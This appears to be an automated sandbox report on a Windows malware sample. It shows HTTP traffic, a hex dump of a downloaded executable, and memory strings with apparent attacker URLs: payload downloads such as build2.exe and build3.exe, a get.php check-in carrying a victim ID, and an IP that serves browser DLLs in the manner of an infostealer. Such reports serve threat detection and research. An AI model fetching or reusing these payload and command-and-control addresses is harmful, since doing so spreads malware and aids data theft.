Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 09 Jan 2024 14:46:27 GMTServer: Apache/2.4.37 (Win64) PHP/5.6.40Last-Modified: Mon, 09 Oct 2023 19:50:06 GMTETag: "4ae00-6074de5a4a562"Accept-Ranges: bytesContent-Length: 306688Connection: closeContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 36 f8 06 6b 72 99 68 38 72 99 68 38 72 99 68 38 cf d6 fe 38 73 99 68 38 6c cb fd 38 6e 99 68 38 6c cb eb 38 fc 99 68 38 55 5f 13 38 7b 99 68 38 72 99 69 38 c9 99 68 38 6c cb ec 38 32 99 68 38 6c cb fc 38 73 99 68 38 6c cb f9 38 73 99 68 38 52 69 63 68 72 99 68 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 0e d2 b9 61 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 6a 03 00 00 98 3b 00 00 00 00 00 20 05 01 00 00 10 00 00 00 80 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 c0 3e 00 00 04 00 00 b0 bf 04 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c 68 03 00 64 00 00 00 00 90 3e 00 00 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 b8 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 b8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 72 68 03 00 00 10 00 00 00 6a 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 a8 ff 3a 00 00 80 03 00 00 0e 01 00 00 6e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6b 69 63 00 00 00 00 05 00 00 00 00 80 3e 00 00 02 00 00 00 7c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 2f 00 00 00 90 3e 00 00 30 00 00 00 7e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic

HTTP traffic detected: GET /mcfuture HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 172.67.139.220 172.67.139.220
Source: Joe Sandbox View	IP Address: 186.182.55.44 186.182.55.44

Source: Joe Sandbox View

ASN Name: TechtelLMDSComunicacionesInteractivasSAAR TechtelLMDSComunicacionesInteractivasSAAR

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20
Source: unknown	TCP traffic detected without corresponding DNS query: 168.119.106.20

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe

Code function: 7_2_0040CF10 _memset,InternetOpenW,InternetOpenUrlW,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

7_2_0040CF10

Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /mcfuture HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dl/build2.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: brusuax.com
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDD&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDD HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com
Source: global traffic	HTTP traffic detected: GET /files/1/build3.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: zexeq.com

Source: kOVwcHSfrR.exe, 0000000C.00000003.1425751259.0000000009680000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.facebook.com/ equals www.facebook.com (Facebook)
Source: kOVwcHSfrR.exe, 0000000C.00000003.1426124643.0000000009680000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.twitter.com/ equals www.twitter.com (Twitter)
Source: kOVwcHSfrR.exe, 0000000C.00000003.1426235146.0000000009680000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.youtube.com/ equals www.youtube.com (Youtube)

Source: unknown

DNS traffic detected: queries for: api.2ip.ua

Source: kOVwcHSfrR.exe, 0000000C.00000003.1862456362.00000000008F9000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1826144879.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1865534180.00000000008F9000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1834665933.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799378148.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1826144879.00000000008F9000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1865450593.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1862456362.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1863871858.00000000008F9000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799378148.00000000008F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://brusuax.com/dl/build2.exe
Source: kOVwcHSfrR.exe, 0000000C.00000003.1862456362.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://brusuax.com/dl/build2.exe$run
Source: kOVwcHSfrR.exe, 0000000C.00000003.1826144879.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1834665933.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799378148.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1865450593.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1862456362.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://brusuax.com/dl/build2.exerund61fjaN
Source: build2.exe, 00000015.00000003.1701358070.00000000030D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/
Source: build2.exe, 00000015.00000003.1701358070.00000000030D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/B
Source: build2.exe, 00000015.00000002.2498797769.0000000000827000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000003.2299498967.0000000000827000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: build2.exe, 00000015.00000003.1701358070.00000000030D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?0868e11a1161d
Source: build2.exe, 00000015.00000003.2299498967.0000000000808000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2498797769.0000000000808000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/enuxa
Source: kOVwcHSfrR.exe, 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp, kOVwcHSfrR.exe, 00000007.00000002.1293672048.0000000000400000.00000040.00000400.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000A.00000002.1325985469.0000000002850000.00000040.00001000.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000B.00000002.1345688399.00000000026A0000.00000040.00001000.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1864846210.0000000000400000.00000040.00000400.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000D.00000002.2496998332.0000000000400000.00000040.00000400.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000E.00000002.1443847796.0000000002670000.00000040.00001000.00020000.00000000.sdmp, kOVwcHSfrR.exe, 00000011.00000002.1461036897.0000000000400000.00000040.00000400.00020000.00000000.sdmp, kOVwcHSfrR.exe, 00000013.00000002.1517241743.00000000026C0000.00000040.00001000.00020000.00000000.sdmp, kOVwcHSfrR.exe, 00000014.00000002.1531079174.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error
Source: kOVwcHSfrR.exe, 0000000D.00000003.1436805666.00000000035E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.amazon.com/
Source: kOVwcHSfrR.exe, 0000000C.00000003.1425813325.0000000009680000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/
Source: kOVwcHSfrR.exe, 0000000C.00000003.1425944337.0000000009680000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.live.com/
Source: kOVwcHSfrR.exe, 0000000C.00000003.1426008023.0000000009680000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.nytimes.com/
Source: kOVwcHSfrR.exe, 00000014.00000002.1531079174.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: kOVwcHSfrR.exe, 0000000C.00000003.1426065018.0000000009680000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.reddit.com/
Source: build2.exe, 00000015.00000002.2505231741.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2502282454.0000000003B4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: kOVwcHSfrR.exe, 0000000C.00000003.1426124643.0000000009680000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.twitter.com/
Source: kOVwcHSfrR.exe, 0000000C.00000003.1426180520.0000000009680000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.wikipedia.com/
Source: kOVwcHSfrR.exe, 0000000C.00000003.1426235146.0000000009680000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.youtube.com/
Source: kOVwcHSfrR.exe, 0000000C.00000003.1800132832.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/files/1/build3.exe
Source: kOVwcHSfrR.exe, 0000000C.00000003.1834665933.00000000008AF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1865450593.00000000008B2000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1826144879.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1834665933.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799378148.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1862456362.00000000008AF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1826144879.00000000008B2000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1865450593.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799378148.00000000008AF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1862456362.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/files/1/build3.exe$run
Source: kOVwcHSfrR.exe, 0000000C.00000003.1826144879.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1834665933.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799378148.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1865450593.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1862456362.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/files/1/build3.exe$runNf
Source: kOVwcHSfrR.exe, 0000000C.00000003.1826144879.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1834665933.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799378148.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1865450593.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1862456362.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/files/1/build3.exe$runUf
Source: kOVwcHSfrR.exe, 0000000C.00000003.1826144879.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1834665933.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799378148.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1865450593.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1862456362.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/files/1/build3.exe$runXf
Source: kOVwcHSfrR.exe, 0000000C.00000003.1826144879.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1834665933.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799378148.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1865450593.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1862456362.00000000008E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/files/1/build3.exerun0
Source: kOVwcHSfrR.exe, 0000000C.00000003.1834665933.00000000008AF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1862456362.00000000008F9000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1865450593.00000000008B2000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1865534180.00000000008F9000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1826144879.00000000008F9000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1862456362.00000000008AF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1826144879.00000000008B2000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799378148.00000000008AF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1863871858.00000000008F9000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799378148.00000000008F9000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000D.00000002.2498194692.00000000006A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/test1/get.php
Source: kOVwcHSfrR.exe, 0000000D.00000002.2498194692.00000000006A8000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000D.00000002.2498194692.0000000000648000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDD
Source: kOVwcHSfrR.exe, 0000000C.00000003.1826144879.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1862456362.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1865534180.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799378148.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1834665933.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1863871858.0000000000905000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDD&first=true
Source: kOVwcHSfrR.exe, 0000000C.00000003.1826144879.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1862456362.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1865534180.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799378148.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1834665933.0000000000905000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1863871858.0000000000905000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDD&first=truej
Source: kOVwcHSfrR.exe, 0000000D.00000002.2498194692.00000000006A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDDT
Source: kOVwcHSfrR.exe, 0000000D.00000002.2498194692.00000000006A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://zexeq.com/test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDDz
Source: build2.exe, 00000015.00000003.1816793087.0000000000834000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000003.2299420286.000000000083A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000003.1791445022.0000000000832000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2499182150.000000000083B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.106.20/
Source: build2.exe, 00000015.00000003.1816793087.0000000000834000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000003.2299420286.000000000083A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000003.1791445022.0000000000832000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2499182150.000000000083B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.106.20//
Source: build2.exe, 00000015.00000002.2498797769.0000000000808000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2496611102.00000000004BE000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://168.119.106.20:2024
Source: build2.exe, 00000015.00000002.2496611102.0000000000557000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000015.00000003.1791183146.00000000030CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.106.20:2024/
Source: build2.exe, 00000015.00000003.1816793087.0000000000834000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000003.2299420286.000000000083A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000003.1791445022.0000000000832000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2499182150.000000000083B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.106.20:2024/-p
Source: build2.exe, 00000015.00000003.2299420286.000000000083A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2499182150.000000000083B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.106.20:2024/8
Source: build2.exe, 00000015.00000003.2299420286.000000000083A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2499182150.000000000083B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.106.20:2024/My
Source: build2.exe, 00000015.00000003.1816793087.0000000000834000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000003.2299420286.000000000083A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2499182150.000000000083B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.106.20:2024/Z
Source: build2.exe, 00000015.00000003.2299420286.000000000083A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2499182150.000000000083B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2496611102.0000000000557000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000015.00000003.2299498967.0000000000808000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2498797769.0000000000808000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2500718550.00000000030A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.106.20:2024/freebl3.dll
Source: build2.exe, 00000015.00000002.2500718550.00000000030A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.106.20:2024/freebl3.dll8
Source: build2.exe, 00000015.00000002.2496611102.0000000000557000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://168.119.106.20:2024/freebl3.dllware
Source: build2.exe, 00000015.00000002.2496611102.0000000000557000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://168.119.106.20:2024/icrosoft
Source: build2.exe, 00000015.00000003.2299420286.000000000083A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2499182150.000000000083B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.106.20:2024/l.
Source: build2.exe, 00000015.00000002.2496611102.0000000000557000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://168.119.106.20:2024/mozglue.dll
Source: build2.exe, 00000015.00000002.2500718550.00000000030A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.106.20:2024/mozglue.dll5
Source: build2.exe, 00000015.00000002.2496611102.0000000000557000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://168.119.106.20:2024/mozglue.dllge
Source: build2.exe, 00000015.00000002.2500718550.00000000030A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.106.20:2024/mozglue.dllh
Source: build2.exe, 00000015.00000003.2299420286.000000000083A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2499182150.000000000083B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.106.20:2024/mozglue.dllj
Source: build2.exe, 00000015.00000002.2496611102.0000000000557000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://168.119.106.20:2024/mozglue.dllware
Source: build2.exe, 00000015.00000003.2299420286.000000000083A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2499182150.000000000083B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2496611102.0000000000557000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2501122577.000000000316F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://168.119.106.20:2024/msvcp140.dll
Source: build2.exe, 00000015.00000002.2496611102.0000000000557000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://168.119.106.20:2024/msvcp140.dlle
